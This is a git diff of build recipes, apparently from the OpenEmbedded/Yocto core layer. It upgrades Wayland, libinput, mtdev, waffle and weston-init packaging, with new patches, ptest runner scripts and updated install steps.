diff --git a/meta/recipes-graphics/waffle/waffle_1.7.0.bb b/meta/recipes-graphics/waffle/waffle_1.7.0.bb
new file mode 100644
index 0000000000..0ff82036e7
--- /dev/null
+++ b/meta/recipes-graphics/waffle/waffle_1.7.0.bb
@@ -0,0 +1,49 @@
+SUMMARY = "A C library for selecting an OpenGL API and window system at runtime"
+DESCRIPTION = "A cross-platform C library that allows one to defer selection \
+of an OpenGL API and window system until runtime. For example, on Linux, Waffle \
+enables an application to select X11/EGL with an OpenGL 3.3 core profile, \
+Wayland with OpenGL ES2, and other window system / API combinations."
+HOMEPAGE = "https://gitlab.freedesktop.org/mesa/waffle"
+BUGTRACKER = "https://gitlab.freedesktop.org/mesa/waffle"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4c5154407c2490750dd461c50ad94797 \
+ file://include/waffle-1/waffle.h;endline=24;md5=61dbf8697f61c78645e75a93c585b1bf"
+
+SRC_URI = "git://gitlab.freedesktop.org/mesa/waffle.git;protocol=https;branch=master \
+ file://0001-waffle-do-not-make-core-protocol-into-the-library.patch \
+ "
+SRCREV = "905c6c10f2483adf0cbfa024e2d3c2ed541fb300"
+S = "${WORKDIR}/git"
+
+inherit meson features_check lib_package bash-completion pkgconfig
+
+DEPENDS:append = " python3 cmake-native"
+
+# This should be overridden per-machine to reflect the capabilities of the GL
+# stack.
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11-egl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
+ surfaceless-egl gbm"
+
+# virtual/libgl requires opengl in DISTRO_FEATURES.
+REQUIRED_DISTRO_FEATURES += "${@bb.utils.contains('DEPENDS', 'virtual/${MLPREFIX}libgl', 'opengl', '', d)}"
+
+# I say virtual/libgl, actually wants gl.pc
+PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/${MLPREFIX}libgl libx11"
+
+# I say virtual/libgl, actually wants wayland-egl.pc, egl.pc, and the wayland
+# DISTRO_FEATURE.
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/${MLPREFIX}libgl wayland wayland-native wayland-protocols"
+
+# I say virtual/libgl, actually wants gbm.pc egl.pc
+PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled,virtual/${MLPREFIX}libgl udev"
+
+# I say virtual/libgl, actually wants egl.pc
+PACKAGECONFIG[x11-egl] = "-Dx11_egl=enabled,-Dx11_egl=disabled,virtual/${MLPREFIX}libgl libxcb"
+PACKAGECONFIG[surfaceless-egl] = "-Dsurfaceless_egl=enabled,-Dsurfaceless_egl=disabled,virtual/${MLPREFIX}libgl"
+
+# TODO: optionally build manpages and examples
+
+do_install:append() {
+ sed -i -e "s,${WORKDIR},,g" ${D}/${libdir}/cmake/Waffle/WaffleConfig.cmake
+}
diff --git a/meta/recipes-graphics/wayland/libinput/determinism.patch b/meta/recipes-graphics/wayland/libinput/determinism.patch
new file mode 100644
index 0000000000..cb554030cf
--- /dev/null
+++ b/meta/recipes-graphics/wayland/libinput/determinism.patch
@@ -0,0 +1,21 @@
+This finds our outer git tree and that version information breaks
+determinism of this recipe. Disable it.
+
+RP 2020/2/6
+
+Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Index: libinput-1.14.3/meson.build
+===================================================================
+--- libinput-1.14.3.orig/meson.build
++++ libinput-1.14.3/meson.build
+@@ -387,7 +387,7 @@ pkgconfig.generate(
+ libraries : lib_libinput
+ )
+
+-git_version_h = vcs_tag(command : ['git', 'describe'],
++git_version_h = vcs_tag(command : ['false'],
+ fallback : 'unknown',
+ input : 'src/libinput-git-version.h.in',
+ output :'libinput-git-version.h')
diff --git a/meta/recipes-graphics/wayland/libinput/run-ptest b/meta/recipes-graphics/wayland/libinput/run-ptest
new file mode 100644
index 0000000000..d11e6eb25b
--- /dev/null
+++ b/meta/recipes-graphics/wayland/libinput/run-ptest
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+/usr/libexec/libinput/libinput-test-suite -j1
+if [ $? -eq 0 ]; then
+ echo 'PASS: libinput-test-suite'
+else
+ echo 'FAIL: libinput-test-suite'
+fi
+
diff --git a/meta/recipes-graphics/wayland/libinput_1.14.1.bb b/meta/recipes-graphics/wayland/libinput_1.14.1.bb
deleted file mode 100644
index 38bc8d2c33..0000000000
--- a/meta/recipes-graphics/wayland/libinput_1.14.1.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Library to handle input devices in Wayland compositors"
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libinput/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1f2ea9ebff3a2c6d458faf58492efb63"
-
-DEPENDS = "libevdev udev mtdev"
-
-SRC_URI = "http://www.freedesktop.org/software/${BPN}/${BP}.tar.xz"
-SRC_URI[md5sum] = "da29a704dc6f7ea2d5aac754db046340"
-SRC_URI[sha256sum] = "e333a3242835c019ca37d2cef8b51a87d3138eb47444119c0153dc7a8656ee70"
-
-UPSTREAM_CHECK_REGEX = "libinput-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
-
-inherit meson pkgconfig lib_package
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[libwacom] = "-Dlibwacom=true,-Dlibwacom=false,libwacom"
-PACKAGECONFIG[gui] = "-Ddebug-gui=true,-Ddebug-gui=false,cairo gtk+3"
-
-UDEVDIR = "`pkg-config --variable=udevdir udev`"
-
-EXTRA_OEMESON += "-Dudev-dir=${UDEVDIR} \
- -Ddocumentation=false \
- -Dtests=false \
- -Dzshcompletiondir=no"
-
-# package name changed in 1.8.1 upgrade: make sure package upgrades work
-RPROVIDES_${PN} = "libinput"
-RREPLACES_${PN} = "libinput"
-RCONFLICTS_${PN} = "libinput"
diff --git a/meta/recipes-graphics/wayland/libinput_1.19.3.bb b/meta/recipes-graphics/wayland/libinput_1.19.3.bb
new file mode 100644
index 0000000000..a7f13240d5
--- /dev/null
+++ b/meta/recipes-graphics/wayland/libinput_1.19.3.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Library to handle input devices in Wayland compositors"
+DESCRIPTION = "libinput is a library to handle input devices in Wayland \
+compositors and to provide a generic X.Org input driver. It provides \
+device detection, device handling, input device event processing and \
+abstraction so minimize the amount of custom input code compositors need to \
+provide the common set of functionality that users expect."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libinput/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bab4ac7dc1c10bc0fb037dc76c46ef8a"
+
+DEPENDS = "libevdev udev mtdev libcheck"
+
+SRC_URI = "http://www.freedesktop.org/software/${BPN}/${BP}.tar.xz \
+ file://run-ptest \
+ file://determinism.patch \
+ "
+SRC_URI[sha256sum] = "3cae78ccde19d7d0f387e58bc734d4d17ab5f6426f54a9e8b728c90b17baa068"
+
+UPSTREAM_CHECK_REGEX = "libinput-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+inherit meson pkgconfig lib_package ptest
+
+# Patch out build directory, otherwise it leaks into ptest binary
+do_configure:append() {
+ sed -i -e "s,${WORKDIR},,g" config.h
+ if [ -e "litest-config.h" ]; then
+ sed -i -e "s,${WORKDIR},,g" litest-config.h
+ fi
+}
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[libwacom] = "-Dlibwacom=true,-Dlibwacom=false,libwacom"
+PACKAGECONFIG[gui] = "-Ddebug-gui=true,-Ddebug-gui=false,cairo gtk+3"
+
+UDEVDIR = "`pkg-config --variable=udevdir udev`"
+
+EXTRA_OEMESON += "-Dudev-dir=${UDEVDIR} \
+ -Ddocumentation=false \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', '-Dtests=true -Dinstall-tests=true', '-Dtests=false -Dinstall-tests=false', d)} \
+ -Dzshcompletiondir=no"
+
+# package name changed in 1.8.1 upgrade: make sure package upgrades work
+RPROVIDES:${PN} = "libinput"
+RREPLACES:${PN} = "libinput"
+RCONFLICTS:${PN} = "libinput"
+
+FILES:${PN}-ptest += "${libexecdir}/libinput/libinput-test-suite"
diff --git a/meta/recipes-graphics/wayland/mtdev_1.1.5.bb b/meta/recipes-graphics/wayland/mtdev_1.1.5.bb
deleted file mode 100644
index ccd0ebbfce..0000000000
--- a/meta/recipes-graphics/wayland/mtdev_1.1.5.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Multitouch Protocol Translation Library"
-
-DESCRIPTION = "mtdev is a library which transforms all variants of kernel \
-multitouch events to the slotted type B protocol. The events put into mtdev may \
-be from any MT device, specifically type A without contact tracking, type A with \
-contact tracking, or type B with contact tracking"
-
-HOMEPAGE = "http://bitmath.org/code/mtdev/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ea6bd0268bb0fcd6b27698616ceee5d6"
-
-SRC_URI = "http://bitmath.org/code/${BPN}/${BP}.tar.bz2"
-SRC_URI[md5sum] = "52c9610b6002f71d1642dc1a1cca5ec1"
-SRC_URI[sha256sum] = "6677d5708a7948840de734d8b4675d5980d4561171c5a8e89e54adf7a13eba7f"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-graphics/wayland/mtdev_1.1.6.bb b/meta/recipes-graphics/wayland/mtdev_1.1.6.bb
new file mode 100644
index 0000000000..7c1cb5e4ec
--- /dev/null
+++ b/meta/recipes-graphics/wayland/mtdev_1.1.6.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Multitouch Protocol Translation Library"
+
+DESCRIPTION = "mtdev is a library which transforms all variants of kernel \
+multitouch events to the slotted type B protocol. The events put into mtdev may \
+be from any MT device, specifically type A without contact tracking, type A with \
+contact tracking, or type B with contact tracking"
+
+HOMEPAGE = "http://bitmath.org/code/mtdev/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ea6bd0268bb0fcd6b27698616ceee5d6"
+
+SRC_URI = "http://bitmath.org/code/${BPN}/${BP}.tar.bz2"
+SRC_URI[md5sum] = "bf8ef2482e84a00b5db8fbd3ce00e249"
+SRC_URI[sha256sum] = "15d7b28da8ac71d8bc8c9287c2045fd174267bc740bec10cfda332dc1204e0e0"
+
+inherit autotools pkgconfig
diff --git a/meta/recipes-graphics/wayland/wayland-protocols_1.18.bb b/meta/recipes-graphics/wayland/wayland-protocols_1.18.bb
deleted file mode 100644
index c8bec66a40..0000000000
--- a/meta/recipes-graphics/wayland/wayland-protocols_1.18.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Collection of additional Wayland protocols"
-DESCRIPTION = "Wayland protocols that add functionality not \
-available in the Wayland core protocol. Such protocols either add \
-completely new functionality, or extend the functionality of some other \
-protocol either in Wayland core, or some other protocol in \
-wayland-protocols."
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c7b12b6702da38ca028ace54aae3d484 \
- file://stable/presentation-time/presentation-time.xml;endline=26;md5=4646cd7d9edc9fa55db941f2d3a7dc53"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- "
-SRC_URI[md5sum] = "af38f22d8e233c2f2e00ddc8dcc94694"
-SRC_URI[sha256sum] = "3d73b7e7661763dc09d7d9107678400101ecff2b5b1e531674abfa81e04874b3"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit allarch autotools pkgconfig
-
-PACKAGES = "${PN}"
-FILES_${PN} += "${datadir}/pkgconfig/wayland-protocols.pc"
diff --git a/meta/recipes-graphics/wayland/wayland-protocols_1.25.bb b/meta/recipes-graphics/wayland/wayland-protocols_1.25.bb
new file mode 100644
index 0000000000..92ba296165
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland-protocols_1.25.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Collection of additional Wayland protocols"
+DESCRIPTION = "Wayland protocols that add functionality not \
+available in the Wayland core protocol. Such protocols either add \
+completely new functionality, or extend the functionality of some other \
+protocol either in Wayland core, or some other protocol in \
+wayland-protocols."
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c7b12b6702da38ca028ace54aae3d484 \
+ file://stable/presentation-time/presentation-time.xml;endline=26;md5=4646cd7d9edc9fa55db941f2d3a7dc53"
+
+SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
+ "
+SRC_URI[sha256sum] = "f1ff0f7199d0a0da337217dd8c99979967808dc37731a1e759e822b75b571460"
+
+UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
+
+inherit meson pkgconfig allarch
+
+EXTRA_OEMESON += "-Dtests=false"
+
+PACKAGES = "${PN}"
+FILES:${PN} += "${datadir}/pkgconfig/wayland-protocols.pc"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/wayland/wayland-utils_1.0.0.bb b/meta/recipes-graphics/wayland/wayland-utils_1.0.0.bb
new file mode 100644
index 0000000000..4c51f7e8c5
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland-utils_1.0.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Wayland utilities"
+DESCRIPTION = "Wayland-utils contains (for now) \
+wayland-info, a utility for displaying information about the Wayland \
+protocols supported by a Wayland compositor. \
+wayland-info is basically a standalone version of weston-info as found \
+in weston repository. "
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=548a66038a77415e1df51118625e832f \
+ "
+
+SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
+ "
+SRC_URI[sha256sum] = "64fecc4c58e87ae9b302901abe10c2e8af69c7503c221a96ecd0700e0aa268c0"
+
+UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
+
+inherit meson pkgconfig
+
+DEPENDS += "wayland wayland-native wayland-protocols"
diff --git a/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch b/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
new file mode 100644
index 0000000000..bc753de113
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
@@ -0,0 +1,41 @@
+From b4c64b6f07743e3fb63ce52359bc664ab7d60df0 Mon Sep 17 00:00:00 2001
+From: Joshua Watt <JPEWhacker@gmail.com>
+Date: Thu, 20 Feb 2020 15:20:45 -0600
+Subject: [PATCH] build: Fix strndup detection on MinGW
+
+GCC and meson conspire together to incorrectly detect that strndup()
+exists on MinGW as __builtin_strndup, when no such function exists. As a
+work around, meson will skip looking for __builtin functions if an
+'#include' is in the prefix, so add '#include <string.h>' when looking
+for strndup().
+
+See: https://github.com/mesonbuild/meson/issues/3672
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/wayland/wayland/merge_requests/63]
+
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+Signed-off-by: Denys Dmytriyenko <denis@denix.org>
+---
+ meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/meson.build b/meson.build
+index 3bc25c9..adde7b9 100644
+--- a/meson.build
++++ b/meson.build
+@@ -38,11 +38,11 @@ have_funcs = [
+ 'prctl',
+ 'memfd_create',
+ 'mremap',
+- 'strndup',
+ ]
+ foreach f: have_funcs
+ config_h.set('HAVE_' + f.underscorify().to_upper(), cc.has_function(f))
+ endforeach
++config_h.set('HAVE_STRNDUP', cc.has_function('strndup') and cc.has_header_symbol('string.h', 'strndup'))
+ config_h.set10('HAVE_XUCRED_CR_PID', cc.has_member('struct xucred', 'cr_pid', prefix : '#include <sys/ucred.h>'))
+ have_broken_msg_cmsg_cloexec = false
+ if host_machine.system() == 'freebsd'
+--
+2.7.4
+
diff --git a/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch b/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
new file mode 100644
index 0000000000..e3e71925b8
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
@@ -0,0 +1,27 @@
+From 3e7cd56611aeec274e48a4816bc7c21f74f15be0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 17 Feb 2020 21:46:18 +0100
+Subject: [PATCH] Do not hardcode the path to wayland-scanner
+
+This results in host contamination during builds.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ src/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/meson.build b/src/meson.build
+index 15730a3..61edbc8 100644
+--- a/src/meson.build
++++ b/src/meson.build
+@@ -52,7 +52,7 @@ if get_option('scanner')
+ 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
+ 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name()),
+ 'bindir=' + join_paths('${prefix}', get_option('bindir')),
+- 'wayland_scanner=${bindir}/wayland-scanner'
++ 'wayland_scanner=wayland-scanner'
+ ],
+ filebase: 'wayland-scanner'
+ )
diff --git a/meta/recipes-graphics/wayland/wayland/fixpathinpcfiles.patch b/meta/recipes-graphics/wayland/wayland/fixpathinpcfiles.patch
deleted file mode 100644
index ad3526d984..0000000000
--- a/meta/recipes-graphics/wayland/wayland/fixpathinpcfiles.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-Fix wayland-client and wayland-scanner pc files
-
-Upstream-Status: Pending
-
-Signed-off-by: Fabien Lahoudere <fabien.lahoudere@collabora.co.uk>
-
-Index: wayland-1.14.0/src/wayland-client.pc.in
-===================================================================
---- wayland-1.14.0.orig/src/wayland-client.pc.in
-+++ wayland-1.14.0/src/wayland-client.pc.in
-@@ -1,7 +1,7 @@
- prefix=@prefix@
- exec_prefix=@exec_prefix@
- datarootdir=@datarootdir@
--pkgdatadir=@datadir@/@PACKAGE@
-+pkgdatadir=${pc_sysrootdir}@datadir@/@PACKAGE@
- libdir=@libdir@
- includedir=@includedir@
-
-Index: wayland-1.14.0/src/wayland-scanner.pc.in
-===================================================================
---- wayland-1.14.0.orig/src/wayland-scanner.pc.in
-+++ wayland-1.14.0/src/wayland-scanner.pc.in
-@@ -2,7 +2,7 @@ prefix=@prefix@
- exec_prefix=@exec_prefix@
- datarootdir=@datarootdir@
- pkgdatadir=@datadir@/@PACKAGE@
--wayland_scanner=@bindir@/wayland-scanner
-+wayland_scanner=wayland-scanner
-
- Name: Wayland Scanner
- Description: Wayland scanner
diff --git a/meta/recipes-graphics/wayland/wayland/run-ptest b/meta/recipes-graphics/wayland/wayland/run-ptest
new file mode 100644
index 0000000000..7e8d9de046
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland/run-ptest
@@ -0,0 +1,17 @@
+#!/bin/sh
+
+export WAYLAND_SCANNER=wayland-scanner
+export TEST_DATA_DIR=tests/data
+export TEST_OUTPUT_DIR=tests/output
+export SED=sed
+export WAYLAND_EGL_LIB=/usr/lib/libwayland-egl.so.1
+export NM=nm
+
+for i in `ls tests/*-test tests/wayland-egl-symbols-check tests/scanner-test.sh`; do
+ $i
+ if [ $? -eq 0 ]; then
+ echo "PASS: $i"
+ else
+ echo "FAIL: $i"
+ fi
+done
diff --git a/meta/recipes-graphics/wayland/wayland_1.17.0.bb b/meta/recipes-graphics/wayland/wayland_1.17.0.bb
deleted file mode 100644
index d34bb39747..0000000000
--- a/meta/recipes-graphics/wayland/wayland_1.17.0.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Wayland, a protocol between a compositor and clients"
-DESCRIPTION = "Wayland is a protocol for a compositor to talk to its clients \
-as well as a C library implementation of that protocol. The compositor can be \
-a standalone display server running on Linux kernel modesetting and evdev \
-input devices, an X application, or a wayland client itself. The clients can \
-be traditional applications, X servers (rootless or fullscreen) or other \
-display servers."
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b31d8f53b6aaf2b4985d7dd7810a70d1 \
- file://src/wayland-server.c;endline=24;md5=b8e046164a766bb1ede8ba38e9dcd7ce"
-
-DEPENDS = "expat libxml2 libffi wayland-native"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- file://fixpathinpcfiles.patch \
- "
-SRC_URI[md5sum] = "d91f970aea11fd549eae023d06f91af3"
-SRC_URI[sha256sum] = "72aa11b8ac6e22f4777302c9251e8fec7655dc22f9d94ee676c6b276f95f91a4"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "--disable-documentation --with-host-scanner"
-EXTRA_OECONF_class-native = "--disable-documentation --disable-libraries"
-
-# Wayland installs a M4 macro for other projects to use, which uses the target
-# pkg-config to find files. Replace pkg-config with pkg-config-native.
-do_install_append_class-native() {
- sed -e 's,PKG_CHECK_MODULES(.*),,g' \
- -e 's,$PKG_CONFIG,pkg-config-native,g' \
- -i ${D}/${datadir}/aclocal/wayland-scanner.m4
-}
-
-sysroot_stage_all_append_class-target () {
- rm ${SYSROOT_DESTDIR}/${datadir}/aclocal/wayland-scanner.m4
- cp ${STAGING_DATADIR_NATIVE}/aclocal/wayland-scanner.m4 ${SYSROOT_DESTDIR}/${datadir}/aclocal/
-}
-
-FILES_${PN} = "${libdir}/*${SOLIBS}"
-FILES_${PN}-dev += "${bindir} ${datadir}/wayland"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/wayland/wayland_1.20.0.bb b/meta/recipes-graphics/wayland/wayland_1.20.0.bb
new file mode 100644
index 0000000000..bd437767b2
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland_1.20.0.bb
@@ -0,0 +1,61 @@
+SUMMARY = "Wayland, a protocol between a compositor and clients"
+DESCRIPTION = "Wayland is a protocol for a compositor to talk to its clients \
+as well as a C library implementation of that protocol. The compositor can be \
+a standalone display server running on Linux kernel modesetting and evdev \
+input devices, an X application, or a wayland client itself. The clients can \
+be traditional applications, X servers (rootless or fullscreen) or other \
+display servers."
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b31d8f53b6aaf2b4985d7dd7810a70d1 \
+ file://src/wayland-server.c;endline=24;md5=b8e046164a766bb1ede8ba38e9dcd7ce"
+
+DEPENDS = "expat libffi wayland-native"
+
+SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://0002-Do-not-hardcode-the-path-to-wayland-scanner.patch \
+ file://0001-build-Fix-strndup-detection-on-MinGW.patch \
+ "
+SRC_URI[sha256sum] = "b8a034154c7059772e0fdbd27dbfcda6c732df29cae56a82274f6ec5d7cd8725"
+
+UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
+
+inherit meson pkgconfig ptest
+
+PACKAGECONFIG ??= "dtd-validation"
+PACKAGECONFIG[dtd-validation] = "-Ddtd_validation=true,-Ddtd_validation=false,libxml2,,"
+
+EXTRA_OEMESON = "-Ddocumentation=false"
+EXTRA_OEMESON:class-native = "-Ddocumentation=false"
+
+# Wayland installs a M4 macro for other projects to use, which uses the target
+# pkg-config to find files. Replace pkg-config with pkg-config-native.
+do_install:append:class-native() {
+ sed -e 's,PKG_CHECK_MODULES(.*),,g' \
+ -e 's,$PKG_CONFIG,pkg-config-native,g' \
+ -i ${D}/${datadir}/aclocal/wayland-scanner.m4
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests/data
+ cp -rf ${B}/tests/*-test ${B}/tests/*-checker ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/tests/*-checker ${D}${PTEST_PATH}
+ cp -rf ${S}/tests/scanner-test.sh ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/data/* ${D}${PTEST_PATH}/tests/data/
+ cp -rf ${S}/egl/wayland-egl-symbols-check ${D}${PTEST_PATH}/tests/
+}
+
+sysroot_stage_all:append:class-target () {
+ rm ${SYSROOT_DESTDIR}/${datadir}/aclocal/wayland-scanner.m4
+ cp ${STAGING_DATADIR_NATIVE}/aclocal/wayland-scanner.m4 ${SYSROOT_DESTDIR}/${datadir}/aclocal/
+}
+
+PACKAGES =+ "${PN}-tools"
+
+FILES:${PN}-tools = "${bindir}/wayland-scanner"
+FILES:${PN}-dev += "${datadir}/${BPN}/wayland-scanner.mk"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}-ptest += "binutils sed ${PN}-tools"
diff --git a/meta/recipes-graphics/wayland/weston-init.bb b/meta/recipes-graphics/wayland/weston-init.bb
index 8b6689717c..c34582137d 100644
--- a/meta/recipes-graphics/wayland/weston-init.bb
+++ b/meta/recipes-graphics/wayland/weston-init.bb
@@ -5,45 +5,87 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
PACKAGE_ARCH = "${MACHINE_ARCH}"
SRC_URI = "file://init \
+ file://weston.env \
file://weston.ini \
- file://weston@.service \
- file://71-weston-drm.rules \
+ file://weston.service \
+ file://weston.socket \
+ file://weston-autologin \
file://weston-start"
S = "${WORKDIR}"
+PACKAGECONFIG ??= ""
+
+PACKAGECONFIG[no-idle-timeout] = ",,"
+PACKAGECONFIG[use-pixman] = ",,"
+
+DEFAULTBACKEND ??= ""
+DEFAULTBACKEND:qemuall ?= "drm"
+
do_install() {
- install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/weston
+ if [ "${VIRTUAL-RUNTIME_init_manager}" != "systemd" ]; then
+ install -Dm755 ${WORKDIR}/init ${D}/${sysconfdir}/init.d/weston
+ sed -i 's#ROOTHOME#${ROOT_HOME}#' ${D}/${sysconfdir}/init.d/weston
+ fi
install -D -p -m0644 ${WORKDIR}/weston.ini ${D}${sysconfdir}/xdg/weston/weston.ini
+ install -Dm644 ${WORKDIR}/weston.env ${D}${sysconfdir}/default/weston
# Install Weston systemd service and accompanying udev rule
- install -D -p -m0644 ${WORKDIR}/weston@.service ${D}${systemd_system_unitdir}/weston@.service
+ install -D -p -m0644 ${WORKDIR}/weston.service ${D}${systemd_system_unitdir}/weston.service
+ install -D -p -m0644 ${WORKDIR}/weston.socket ${D}${systemd_system_unitdir}/weston.socket
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -p -m0644 ${WORKDIR}/weston-autologin ${D}${sysconfdir}/pam.d/weston-autologin
+ fi
sed -i -e s:/etc:${sysconfdir}:g \
-e s:/usr/bin:${bindir}:g \
-e s:/var:${localstatedir}:g \
- ${D}${systemd_unitdir}/system/weston@.service
- install -D -p -m0644 ${WORKDIR}/71-weston-drm.rules \
- ${D}${sysconfdir}/udev/rules.d/71-weston-drm.rules
+ ${D}${systemd_system_unitdir}/weston.service
# Install weston-start script
install -Dm755 ${WORKDIR}/weston-start ${D}${bindir}/weston-start
sed -i 's,@DATADIR@,${datadir},g' ${D}${bindir}/weston-start
sed -i 's,@LOCALSTATEDIR@,${localstatedir},g' ${D}${bindir}/weston-start
+ if [ -n "${DEFAULTBACKEND}" ]; then
+ sed -i -e "/^\[core\]/a backend=${DEFAULTBACKEND}-backend.so" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'no-idle-timeout', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i -e "/^\[core\]/a idle-time=0" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'use-pixman', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i -e "/^\[core\]/a use-pixman=true" ${D}${sysconfdir}/xdg/weston/weston.ini
+ fi
+
+ install -dm 755 -o weston -g weston ${D}/home/weston
}
-inherit update-rc.d distro_features_check systemd
+INHIBIT_UPDATERCD_BBCLASS = "${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', '1', '', d)}"
+
+inherit update-rc.d features_check systemd useradd
+
+USERADD_PACKAGES = "${PN}"
# rdepends on weston which depends on virtual/egl
-REQUIRED_DISTRO_FEATURES = "opengl"
+# requires pam enabled if started via systemd
+REQUIRED_DISTRO_FEATURES = "opengl ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
-RDEPENDS_${PN} = "weston kbd"
+RDEPENDS:${PN} = "weston kbd"
INITSCRIPT_NAME = "weston"
INITSCRIPT_PARAMS = "start 9 5 2 . stop 20 0 1 6 ."
-FILES_${PN} += "${sysconfdir}/xdg/weston/weston.ini ${systemd_system_unitdir}/weston@.service"
+FILES:${PN} += "\
+ ${sysconfdir}/xdg/weston/weston.ini \
+ ${systemd_system_unitdir}/weston.service \
+ ${systemd_system_unitdir}/weston.socket \
+ ${sysconfdir}/default/weston \
+ ${sysconfdir}/pam.d/ \
+ /home/weston \
+ "
-CONFFILES_${PN} += "${sysconfdir}/xdg/weston/weston.ini"
+CONFFILES:${PN} += "${sysconfdir}/xdg/weston/weston.ini ${sysconfdir}/default/weston"
